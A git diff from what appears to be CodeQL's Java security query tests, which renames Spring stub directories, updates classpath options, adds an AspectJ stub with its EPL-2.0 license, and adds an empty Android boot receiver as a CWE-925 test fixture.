--- a/java/ql/test/query-tests/security/CWE-917/options
+++ b/java/ql/test/query-tests/security/CWE-917/options
@@ -1 +1 @@
-//semmle-extractor-options: --javac-args -cp ${testdir}/../../../stubs/springframework-5.3.8:${testdir}/../../../stubs/ognl-3.2.14:${testdir}/../../../stubs/struts2-core-2.5.22
+//semmle-extractor-options: --javac-args -cp ${testdir}/../../../stubs/springframework-5.8.x:${testdir}/../../../stubs/ognl-3.2.14:${testdir}/../../../stubs/struts2-core-2.5.22
diff --git a/java/ql/test/query-tests/security/CWE-918/options b/java/ql/test/query-tests/security/CWE-918/options
index 4158843ef980..78a6c15024ae 100644
--- a/java/ql/test/query-tests/security/CWE-918/options
+++ b/java/ql/test/query-tests/security/CWE-918/options
@@ -1 +1 @@
-//semmle-extractor-options: --javac-args -source 11 -target 11 -cp ${testdir}/../../../stubs/springframework-5.3.8:${testdir}/../../../stubs/javax-ws-rs-api-2.1.1:${testdir}/../../../stubs/javax-ws-rs-api-3.0.0:${testdir}/../../../stubs/apache-http-4.4.13/:${testdir}/../../../stubs/projectreactor-3.4.3/:${testdir}/../../../stubs/postgresql-42.3.3/:${testdir}/../../../stubs/HikariCP-3.4.5/:${testdir}/../../../stubs/spring-jdbc-5.3.8/:${testdir}/../../../stubs/jdbi3-core-3.27.2/:${testdir}/../../../stubs/cargo:${testdir}/../../../stubs/javafx-web:${testdir}/../../../stubs/apache-commons-jelly-1.0.1:${testdir}/../../../stubs/dom4j-2.1.1:${testdir}/../../../stubs/jaxen-1.2.0:${testdir}/../../../stubs/stapler-1.263:${testdir}/../../../stubs/javax-servlet-2.5:${testdir}/../../../stubs/apache-commons-fileupload-1.4:${testdir}/../../../stubs/saxon-xqj-9.x:${testdir}/../../../stubs/apache-commons-beanutils:${testdir}/../../../stubs/apache-commons-lang:${testdir}/../../../stubs/apache-http-5:${testdir}/../../../stubs/playframework-2.6.x:${testdir}/../../../stubs/jaxws-api-2.0:${testdir}/../../../stubs/apache-cxf
+//semmle-extractor-options: --javac-args -source 11 -target 11 -cp ${testdir}/../../../stubs/springframework-5.8.x:${testdir}/../../../stubs/javax-ws-rs-api-2.1.1:${testdir}/../../../stubs/javax-ws-rs-api-3.0.0:${testdir}/../../../stubs/apache-http-4.4.13/:${testdir}/../../../stubs/projectreactor-3.4.3/:${testdir}/../../../stubs/postgresql-42.3.3/:${testdir}/../../../stubs/HikariCP-3.4.5/:${testdir}/../../../stubs/spring-jdbc-5.3.8/:${testdir}/../../../stubs/jdbi3-core-3.27.2/:${testdir}/../../../stubs/cargo:${testdir}/../../../stubs/javafx-web:${testdir}/../../../stubs/apache-commons-jelly-1.0.1:${testdir}/../../../stubs/dom4j-2.1.1:${testdir}/../../../stubs/jaxen-1.2.0:${testdir}/../../../stubs/stapler-1.263:${testdir}/../../../stubs/javax-servlet-2.5:${testdir}/../../../stubs/apache-commons-fileupload-1.4:${testdir}/../../../stubs/saxon-xqj-9.x:${testdir}/../../../stubs/apache-commons-beanutils:${testdir}/../../../stubs/apache-commons-lang:${testdir}/../../../stubs/apache-http-5:${testdir}/../../../stubs/playframework-2.6.x:${testdir}/../../../stubs/jaxws-api-2.0:${testdir}/../../../stubs/apache-cxf
diff --git a/java/ql/test/query-tests/security/CWE-925/AndroidManifest.xml b/java/ql/test/query-tests/security/CWE-925/AndroidManifest.xml
index f9e11a1ee812..5fd3986f82c2 100644
--- a/java/ql/test/query-tests/security/CWE-925/AndroidManifest.xml
+++ b/java/ql/test/query-tests/security/CWE-925/AndroidManifest.xml
@@ -5,5 +5,10 @@
                 <action android:name="android.intent.action.BOOT_COMPLETED" />
             </intent-filter>
         </receiver>
+        <receiver android:name=".EmptyReceiverXml">
+            <intent-filter>
+                <action android:name"android.intent.action.BOOT_COMPLETED" />
+            </intent-filter>
+        </receiver>
     </application>
-</manifest>
\ No newline at end of file
+</manifest>
diff --git a/java/ql/test/query-tests/security/CWE-925/EmptyReceiverXml.java b/java/ql/test/query-tests/security/CWE-925/EmptyReceiverXml.java
new file mode 100644
index 000000000000..44a81db62302
--- /dev/null
+++ b/java/ql/test/query-tests/security/CWE-925/EmptyReceiverXml.java
@@ -0,0 +1,9 @@
+package test;
+import android.content.Intent;
+import android.content.Context;
+import android.content.BroadcastReceiver;
+
+class EmptyReceiverXml extends BroadcastReceiver {
+    @Override 
+    public void onReceive(Context ctx, Intent intent) { }
+}
diff --git a/java/ql/test/stubs/aspectj/LICENSE.txt b/java/ql/test/stubs/aspectj/LICENSE.txt
new file mode 100644
index 000000000000..384e2af26f7e
--- /dev/null
+++ b/java/ql/test/stubs/aspectj/LICENSE.txt
@@ -0,0 +1,279 @@
+Per: https://www.eclipse.org/org/documents/epl-2.0/EPL-2.0.txt
+
+Eclipse Public License - v 2.0
+
+    THE ACCOMPANYING PROGRAM IS PROVIDED UNDER THE TERMS OF THIS ECLIPSE
+    PUBLIC LICENSE ("AGREEMENT"). ANY USE, REPRODUCTION OR DISTRIBUTION
+    OF THE PROGRAM CONSTITUTES RECIPIENT'S ACCEPTANCE OF THIS AGREEMENT.
+
+1. DEFINITIONS
+
+"Contribution" means:
+
+  a) in the case of the initial Contributor, the initial content
+     Distributed under this Agreement, and
+
+  b) in the case of each subsequent Contributor:
+     i) changes to the Program, and
+     ii) additions to the Program;
+  where such changes and/or additions to the Program originate from
+  and are Distributed by that particular Contributor. A Contribution
+  "originates" from a Contributor if it was added to the Program by
+  such Contributor itself or anyone acting on such Contributor's behalf.
+  Contributions do not include changes or additions to the Program that
+  are not Modified Works.
+
+"Contributor" means any person or entity that Distributes the Program.
+
+"Licensed Patents" mean patent claims licensable by a Contributor which
+are necessarily infringed by the use or sale of its Contribution alone
+or when combined with the Program.
+
+"Program" means the Contributions Distributed in accordance with this
+Agreement.
+
+"Recipient" means anyone who receives the Program under this Agreement
+or any Secondary License (as applicable), including Contributors.
+
+"Derivative Works" shall mean any work, whether in Source Code or other
+form, that is based on (or derived from) the Program and for which the
+editorial revisions, annotations, elaborations, or other modifications
+represent, as a whole, an original work of authorship.
+
+"Modified Works" shall mean any work in Source Code or other form that
+results from an addition to, deletion from, or modification of the
+contents of the Program, including, for purposes of clarity any new file
+in Source Code form that contains any contents of the Program. Modified
+Works shall not include works that contain only declarations,
+interfaces, types, classes, structures, or files of the Program solely
+in each case in order to link to, bind by name, or subclass the Program
+or Modified Works thereof.
+
+"Distribute" means the acts of a) distributing or b) making available
+in any manner that enables the transfer of a copy.
+
+"Source Code" means the form of a Program preferred for making
+modifications, including but not limited to software source code,
+documentation source, and configuration files.
+
+"Secondary License" means either the GNU General Public License,
+Version 2.0, or any later versions of that license, including any
+exceptions or additional permissions as identified by the initial
+Contributor.
+
+2. GRANT OF RIGHTS
+
+  a) Subject to the terms of this Agreement, each Contributor hereby
+  grants Recipient a non-exclusive, worldwide, royalty-free copyright
+  license to reproduce, prepare Derivative Works of, publicly display,
+  publicly perform, Distribute and sublicense the Contribution of such
+  Contributor, if any, and such Derivative Works.
+
+  b) Subject to the terms of this Agreement, each Contributor hereby
+  grants Recipient a non-exclusive, worldwide, royalty-free patent
+  license under Licensed Patents to make, use, sell, offer to sell,
+  import and otherwise transfer the Contribution of such Contributor,
+  if any, in Source Code or other form. This patent license shall
+  apply to the combination of the Contribution and the Program if, at
+  the time the Contribution is added by the Contributor, such addition
+  of the Contribution causes such combination to be covered by the
+  Licensed Patents. The patent license shall not apply to any other
+  combinations which include the Contribution. No hardware per se is
+  licensed hereunder.
+
+  c) Recipient understands that although each Contributor grants the
+  licenses to its Contributions set forth herein, no assurances are
+  provided by any Contributor that the Program does not infringe the
+  patent or other intellectual property rights of any other entity.
+  Each Contributor disclaims any liability to Recipient for claims
+  brought by any other entity based on infringement of intellectual
+  property rights or otherwise. As a condition to exercising the
+  rights and licenses granted hereunder, each Recipient hereby
+  assumes sole responsibility to secure any other intellectual
+  property rights needed, if any. For example, if a third party
+  patent license is required to allow Recipient to Distribute the
+  Program, it is Recipient's responsibility to acquire that license
+  before distributing the Program.
+
+  d) Each Contributor represents that to its knowledge it has
+  sufficient copyright rights in its Contribution, if any, to grant
+  the copyright license set forth in this Agreement.
+
+  e) Notwithstanding the terms of any Secondary License, no
+  Contributor makes additional grants to any Recipient (other than
+  those set forth in this Agreement) as a result of such Recipient's
+  receipt of the Program under the terms of a Secondary License
+  (if permitted under the terms of Section 3).
+
+3. REQUIREMENTS
+
+3.1 If a Contributor Distributes the Program in any form, then:
+
+  a) the Program must also be made available as Source Code, in
+  accordance with section 3.2, and the Contributor must accompany
+  the Program with a statement that the Source Code for the Program
+  is available under this Agreement, and informs Recipients how to
+  obtain it in a reasonable manner on or through a medium customarily
+  used for software exchange; and
+
+  b) the Contributor may Distribute the Program under a license
+  different than this Agreement, provided that such license:
+     i) effectively disclaims on behalf of all other Contributors all
+     warranties and conditions, express and implied, including
+     warranties or conditions of title and non-infringement, and
+     implied warranties or conditions of merchantability and fitness
+     for a particular purpose;
+
+     ii) effectively excludes on behalf of all other Contributors all
+     liability for damages, including direct, indirect, special,
+     incidental and consequential damages, such as lost profits;
+
+     iii) does not attempt to limit or alter the recipients' rights
+     in the Source Code under section 3.2; and
+
+     iv) requires any subsequent distribution of the Program by any
+     party to be under a license that satisfies the requirements
+     of this section 3.
+
+3.2 When the Program is Distributed as Source Code:
+
+  a) it must be made available under this Agreement, or if the
+  Program (i) is combined with other material in a separate file or
+  files made available under a Secondary License, and (ii) the initial
+  Contributor attached to the Source Code the notice described in
+  Exhibit A of this Agreement, then the Program may be made available
+  under the terms of such Secondary Licenses, and
+
+  b) a copy of this Agreement must be included with each copy of
+  the Program.
+
+3.3 Contributors may not remove or alter any copyright, patent,
+trademark, attribution notices, disclaimers of warranty, or limitations
+of liability ("notices") contained within the Program from any copy of
+the Program which they Distribute, provided that Contributors may add
+their own appropriate notices.
+
+4. COMMERCIAL DISTRIBUTION
+
+Commercial distributors of software may accept certain responsibilities
+with respect to end users, business partners and the like. While this
+license is intended to facilitate the commercial use of the Program,
+the Contributor who includes the Program in a commercial product
+offering should do so in a manner which does not create potential
+liability for other Contributors. Therefore, if a Contributor includes
+the Program in a commercial product offering, such Contributor
+("Commercial Contributor") hereby agrees to defend and indemnify every
+other Contributor ("Indemnified Contributor") against any losses,
+damages and costs (collectively "Losses") arising from claims, lawsuits
+and other legal actions brought by a third party against the Indemnified
+Contributor to the extent caused by the acts or omissions of such
+Commercial Contributor in connection with its distribution of the Program
+in a commercial product offering. The obligations in this section do not
+apply to any claims or Losses relating to any actual or alleged
+intellectual property infringement. In order to qualify, an Indemnified
+Contributor must: a) promptly notify the Commercial Contributor in
+writing of such claim, and b) allow the Commercial Contributor to control,
+and cooperate with the Commercial Contributor in, the defense and any
+related settlement negotiations. The Indemnified Contributor may
+participate in any such claim at its own expense.
+
+For example, a Contributor might include the Program in a commercial
+product offering, Product X. That Contributor is then a Commercial
+Contributor. If that Commercial Contributor then makes performance
+claims, or offers warranties related to Product X, those performance
+claims and warranties are such Commercial Contributor's responsibility
+alone. Under this section, the Commercial Contributor would have to
+defend claims against the other Contributors related to those performance
+claims and warranties, and if a court requires any other Contributor to
+pay any damages as a result, the Commercial Contributor must pay
+those damages.
+
+5. NO WARRANTY
+
+EXCEPT AS EXPRESSLY SET FORTH IN THIS AGREEMENT, AND TO THE EXTENT
+PERMITTED BY APPLICABLE LAW, THE PROGRAM IS PROVIDED ON AN "AS IS"
+BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, EITHER EXPRESS OR
+IMPLIED INCLUDING, WITHOUT LIMITATION, ANY WARRANTIES OR CONDITIONS OF
+TITLE, NON-INFRINGEMENT, MERCHANTABILITY OR FITNESS FOR A PARTICULAR
+PURPOSE. Each Recipient is solely responsible for determining the
+appropriateness of using and distributing the Program and assumes all
+risks associated with its exercise of rights under this Agreement,
+including but not limited to the risks and costs of program errors,
+compliance with applicable laws, damage to or loss of data, programs
+or equipment, and unavailability or interruption of operations.
+
+6. DISCLAIMER OF LIABILITY
+
+EXCEPT AS EXPRESSLY SET FORTH IN THIS AGREEMENT, AND TO THE EXTENT
+PERMITTED BY APPLICABLE LAW, NEITHER RECIPIENT NOR ANY CONTRIBUTORS
+SHALL HAVE ANY LIABILITY FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING WITHOUT LIMITATION LOST
+PROFITS), HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
+CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+ARISING IN ANY WAY OUT OF THE USE OR DISTRIBUTION OF THE PROGRAM OR THE
+EXERCISE OF ANY RIGHTS GRANTED HEREUNDER, EVEN IF ADVISED OF THE
+POSSIBILITY OF SUCH DAMAGES.
+
+7. GENERAL
+
+If any provision of this Agreement is invalid or unenforceable under
+applicable law, it shall not affect the validity or enforceability of
+the remainder of the terms of this Agreement, and without further
+action by the parties hereto, such provision shall be reformed to the
+minimum extent necessary to make such provision valid and enforceable.
+
+If Recipient institutes patent litigation against any entity
+(including a cross-claim or counterclaim in a lawsuit) alleging that the
+Program itself (excluding combinations of the Program with other software
+or hardware) infringes such Recipient's patent(s), then such Recipient's
+rights granted under Section 2(b) shall terminate as of the date such
+litigation is filed.
+
+All Recipient's rights under this Agreement shall terminate if it
+fails to comply with any of the material terms or conditions of this
+Agreement and does not cure such failure in a reasonable period of
+time after becoming aware of such noncompliance. If all Recipient's
+rights under this Agreement terminate, Recipient agrees to cease use
+and distribution of the Program as soon as reasonably practicable.
+However, Recipient's obligations under this Agreement and any licenses
+granted by Recipient relating to the Program shall continue and survive.
+
+Everyone is permitted to copy and distribute copies of this Agreement,
+but in order to avoid inconsistency the Agreement is copyrighted and
+may only be modified in the following manner. The Agreement Steward
+reserves the right to publish new versions (including revisions) of
+this Agreement from time to time. No one other than the Agreement
+Steward has the right to modify this Agreement. The Eclipse Foundation
+is the initial Agreement Steward. The Eclipse Foundation may assign the
+responsibility to serve as the Agreement Steward to a suitable separate
+entity. Each new version of the Agreement will be given a distinguishing
+version number. The Program (including Contributions) may always be
+Distributed subject to the version of the Agreement under which it was
+received. In addition, after a new version of the Agreement is published,
+Contributor may elect to Distribute the Program (including its
+Contributions) under the new version.
+
+Except as expressly stated in Sections 2(a) and 2(b) above, Recipient
+receives no rights or licenses to the intellectual property of any
+Contributor under this Agreement, whether expressly, by implication,
+estoppel or otherwise. All rights in the Program not expressly granted
+under this Agreement are reserved. Nothing in this Agreement is intended
+to be enforceable by any entity that is not a Contributor or Recipient.
+No third-party beneficiary rights are created under this Agreement.
+
+Exhibit A - Form of Secondary Licenses Notice
+
+"This Source Code may also be made available under the following 
+Secondary Licenses when the conditions for such availability set forth 
+in the Eclipse Public License, v. 2.0 are satisfied: {name license(s),
+version(s), and exceptions or additional permissions here}."
+
+  Simply including a copy of this Agreement, including this Exhibit A
+  is not sufficient to license the Source Code under Secondary Licenses.
+
+  If it is not possible or desirable to put the notice in a particular
+  file, then You may include the notice in a location (such as a LICENSE
+  file in a relevant directory) where a recipient would be likely to
+  look for such a notice.
+
+  You may add additional accurate notices of copyright ownership.
\ No newline at end of file
diff --git a/java/ql/test/stubs/aspectj/org/aspectj/lang/annotation/Pointcut.java b/java/ql/test/stubs/aspectj/org/aspectj/lang/annotation/Pointcut.java
new file mode 100644
index 000000000000..8afcd092ce5b
--- /dev/null
+++ b/java/ql/test/stubs/aspectj/org/aspectj/lang/annotation/Pointcut.java
@@ -0,0 +1,27 @@
+/*******************************************************************************
+ * Copyright (c) 2005 Contributors.
+ * All rights reserved.
+ * This program and the accompanying materials are made available
+ * under the terms of the Eclipse Public License v 2.0
+ * which accompanies this distribution and is available at
+ * https://www.eclipse.org/org/documents/epl-2.0/EPL-2.0.txt
+ *
+ * Contributors:
+ * initial implementation              Alexandre Vasseur
+ *******************************************************************************/
+package org.aspectj.lang.annotation;
+
+import java.lang.annotation.Target;
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+
+/**
+ * Pointcut declaration
+ *
+ * @author Alexandre Vasseur
+ */
+@Retention(RetentionPolicy.RUNTIME)
+@Target(ElementType.METHOD)
+public @interface Pointcut {}
+
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/security/config/annotation/web/builders/HttpSecurity.java b/java/ql/test/stubs/springframework-5.3.8/org/springframework/security/config/annotation/web/builders/HttpSecurity.java
deleted file mode 100644
index 3dbe33cdeb9c..000000000000
--- a/java/ql/test/stubs/springframework-5.3.8/org/springframework/security/config/annotation/web/builders/HttpSecurity.java
+++ /dev/null
@@ -1,53 +0,0 @@
-package org.springframework.security.config.annotation.web.builders;
-
-import org.springframework.security.config.annotation.AbstractConfiguredSecurityBuilder;
-import org.springframework.security.config.annotation.SecurityBuilder;
-import org.springframework.security.config.annotation.web.HttpSecurityBuilder;
-import org.springframework.security.config.annotation.web.builders.HttpSecurity.RequestMatcherConfigurer;
-import org.springframework.security.web.DefaultSecurityFilterChain;
-import org.springframework.security.web.util.matcher.RequestMatcher;
-import org.springframework.security.config.Customizer;
-import org.springframework.security.config.annotation.web.configurers.CsrfConfigurer;
-import org.springframework.security.config.annotation.web.configurers.ExpressionUrlAuthorizationConfigurer;
-import org.springframework.security.config.annotation.web.AbstractRequestMatcherRegistry;
-
-public final class HttpSecurity extends AbstractConfiguredSecurityBuilder<DefaultSecurityFilterChain, HttpSecurity>
-		implements SecurityBuilder<DefaultSecurityFilterChain>, HttpSecurityBuilder<HttpSecurity> {
-
-	public HttpSecurity requestMatcher(RequestMatcher requestMatcher) {
-		return this;
-	}
-
-	public HttpSecurity authorizeRequests(
-			Customizer<ExpressionUrlAuthorizationConfigurer<HttpSecurity>.ExpressionInterceptUrlRegistry> authorizeRequestsCustomizer)
-			throws Exception {
-		return this;
-	}
-
-	public ExpressionUrlAuthorizationConfigurer<HttpSecurity>.ExpressionInterceptUrlRegistry authorizeRequests()
-			throws Exception {
-		return null;
-	}
-
-	public HttpSecurity requestMatchers(Customizer<RequestMatcherConfigurer> requestMatcherCustomizer) {
-		return this;
-	}
-
-	public RequestMatcherConfigurer requestMatchers() {
-		return null;
-	}
-
-	public CsrfConfigurer<HttpSecurity> csrf() {
-		return null;
-	}
-
-	public HttpSecurity csrf(Customizer<CsrfConfigurer<HttpSecurity>> csrfCustomizer) {
-		return null;
-	}
-
-	public final class MvcMatchersRequestMatcherConfigurer extends RequestMatcherConfigurer {
-	}
-
-	public class RequestMatcherConfigurer extends AbstractRequestMatcherRegistry<RequestMatcherConfigurer> {
-	}
-}
diff --git a/java/ql/test/stubs/springframework-5.3.8/LICENSE.txt b/java/ql/test/stubs/springframework-5.8.x/LICENSE.txt
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/LICENSE.txt
rename to java/ql/test/stubs/springframework-5.8.x/LICENSE.txt
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/beans/BeansException.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/beans/BeansException.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/beans/BeansException.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/beans/BeansException.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/beans/FatalBeanException.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/beans/FatalBeanException.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/beans/FatalBeanException.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/beans/FatalBeanException.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/beans/MutablePropertyValues.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/beans/MutablePropertyValues.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/beans/MutablePropertyValues.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/beans/MutablePropertyValues.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/beans/PropertyValue.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/beans/PropertyValue.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/beans/PropertyValue.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/beans/PropertyValue.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/beans/PropertyValues.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/beans/PropertyValues.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/beans/PropertyValues.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/beans/PropertyValues.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/beans/factory/Aware.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/beans/factory/Aware.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/beans/factory/Aware.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/beans/factory/Aware.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/beans/factory/BeanClassLoaderAware.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/beans/factory/BeanClassLoaderAware.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/beans/factory/BeanClassLoaderAware.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/beans/factory/BeanClassLoaderAware.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/beans/factory/BeanDefinitionStoreException.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/beans/factory/BeanDefinitionStoreException.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/beans/factory/BeanDefinitionStoreException.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/beans/factory/BeanDefinitionStoreException.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/beans/factory/BeanFactory.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/beans/factory/BeanFactory.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/beans/factory/BeanFactory.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/beans/factory/BeanFactory.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/beans/factory/HierarchicalBeanFactory.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/beans/factory/HierarchicalBeanFactory.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/beans/factory/HierarchicalBeanFactory.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/beans/factory/HierarchicalBeanFactory.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/beans/factory/InitializingBean.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/beans/factory/InitializingBean.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/beans/factory/InitializingBean.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/beans/factory/InitializingBean.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/beans/factory/ListableBeanFactory.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/beans/factory/ListableBeanFactory.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/beans/factory/ListableBeanFactory.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/beans/factory/ListableBeanFactory.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/beans/factory/NoSuchBeanDefinitionException.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/beans/factory/NoSuchBeanDefinitionException.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/beans/factory/NoSuchBeanDefinitionException.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/beans/factory/NoSuchBeanDefinitionException.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/beans/factory/annotation/Autowired.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/beans/factory/annotation/Autowired.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/beans/factory/annotation/Autowired.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/beans/factory/annotation/Autowired.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/beans/factory/config/BeanDefinition.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/beans/factory/config/BeanDefinition.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/beans/factory/config/BeanDefinition.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/beans/factory/config/BeanDefinition.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/beans/factory/support/BeanDefinitionRegistry.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/beans/factory/support/BeanDefinitionRegistry.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/beans/factory/support/BeanDefinitionRegistry.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/beans/factory/support/BeanDefinitionRegistry.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/beans/factory/support/BeanNameGenerator.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/beans/factory/support/BeanNameGenerator.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/beans/factory/support/BeanNameGenerator.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/beans/factory/support/BeanNameGenerator.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/boot/SpringBootConfiguration.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/boot/SpringBootConfiguration.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/boot/SpringBootConfiguration.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/boot/SpringBootConfiguration.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/boot/actuate/autoconfigure/security/servlet/EndpointRequest.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/boot/actuate/autoconfigure/security/servlet/EndpointRequest.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/boot/actuate/autoconfigure/security/servlet/EndpointRequest.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/boot/actuate/autoconfigure/security/servlet/EndpointRequest.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/boot/autoconfigure/SpringBootApplication.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/boot/autoconfigure/SpringBootApplication.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/boot/autoconfigure/SpringBootApplication.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/boot/autoconfigure/SpringBootApplication.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/boot/jdbc/DataSourceBuilder.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/boot/jdbc/DataSourceBuilder.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/boot/jdbc/DataSourceBuilder.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/boot/jdbc/DataSourceBuilder.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/boot/security/servlet/ApplicationContextRequestMatcher.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/boot/security/servlet/ApplicationContextRequestMatcher.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/boot/security/servlet/ApplicationContextRequestMatcher.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/boot/security/servlet/ApplicationContextRequestMatcher.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/cache/Cache.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/cache/Cache.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/cache/Cache.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/cache/Cache.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/context/ApplicationContext.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/context/ApplicationContext.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/context/ApplicationContext.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/context/ApplicationContext.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/context/ApplicationEventPublisher.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/context/ApplicationEventPublisher.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/context/ApplicationEventPublisher.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/context/ApplicationEventPublisher.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/context/HierarchicalMessageSource.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/context/HierarchicalMessageSource.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/context/HierarchicalMessageSource.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/context/HierarchicalMessageSource.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/context/MessageSource.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/context/MessageSource.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/context/MessageSource.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/context/MessageSource.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/context/MessageSourceResolvable.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/context/MessageSourceResolvable.java
similarity index 100%
